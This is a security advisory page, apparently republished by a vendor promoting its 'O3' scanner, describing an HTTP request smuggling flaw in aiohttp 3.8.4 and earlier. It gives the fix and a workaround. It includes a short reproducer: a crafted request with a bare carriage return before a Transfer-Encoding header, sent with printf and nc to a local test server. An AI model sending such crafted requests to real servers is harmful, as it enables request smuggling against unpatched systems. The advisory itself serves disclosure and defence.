GHSA-45c4-8wx5-qw6w
MEDIUMaiohttp.web.Application vulnerable to HTTP request smuggling via llhttp HTTP request parser
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
aiohttpReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Impact
aiohttp v3.8.4 and earlier are bundled with llhttp v6.0.6 which is vulnerable to CVE-2023-30589. The vulnerable code is used by aiohttp for its HTTP request parser when available which is the default case when installing from a wheel.
This vulnerability only affects users of aiohttp as an HTTP server (ie aiohttp.Application), you are not affected by this vulnerability if you are using aiohttp as an HTTP client library (ie aiohttp.ClientSession).
Reproducer
from aiohttp import web
async def example(request: web.Request):
headers = dict(request.headers)
body = await request.content.read()
return web.Response(text=f"headers: {headers} body: {body}")
app = web.Application()
app.add_routes([web.post('/', example)])
web.run_app(app)
Sending a crafted HTTP request will cause the server to misinterpret one of the HTTP header values leading to HTTP request smuggling.
$ printf "POST / HTTP/1.1\r\nHost: localhost:8080\r\nX-Abc: \rxTransfer-Encoding: chunked\r\n\r\n1\r\nA\r\n0\r\n\r\n" \
| nc localhost 8080
Expected output:
headers: {'Host': 'localhost:8080', 'X-Abc': '\rxTransfer-Encoding: chunked'} body: b''
Actual output (note that 'Transfer-Encoding: chunked' is an HTTP header now and body is treated differently)
headers: {'Host': 'localhost:8080', 'X-Abc': '', 'Transfer-Encoding': 'chunked'} body: b'A'
Patches
Upgrade to the latest version of aiohttp to resolve this vulnerability. It has been fixed in v3.8.5: pip install aiohttp >= 3.8.5
Workarounds
If you aren't able to upgrade you can reinstall aiohttp using AIOHTTP_NO_EXTENSIONS=1 as an environment variable to disable the llhttp HTTP request parser implementation. The pure Python implementation isn't vulnerable to request smuggling:
$ python -m pip uninstall --yes aiohttp
$ AIOHTTP_NO_EXTENSIONS=1 python -m pip install --no-binary=aiohttp --no-cache aiohttp
References
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | aiohttp | all versions | 3.8.5 |
Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for aiohttp. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update aiohttp to 3.8.5 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-45c4-8wx5-qw6w is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-45c4-8wx5-qw6w is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-45c4-8wx5-qw6w. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-45c4-8wx5-qw6w in your dependencies?
O3 detects GHSA-45c4-8wx5-qw6w across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.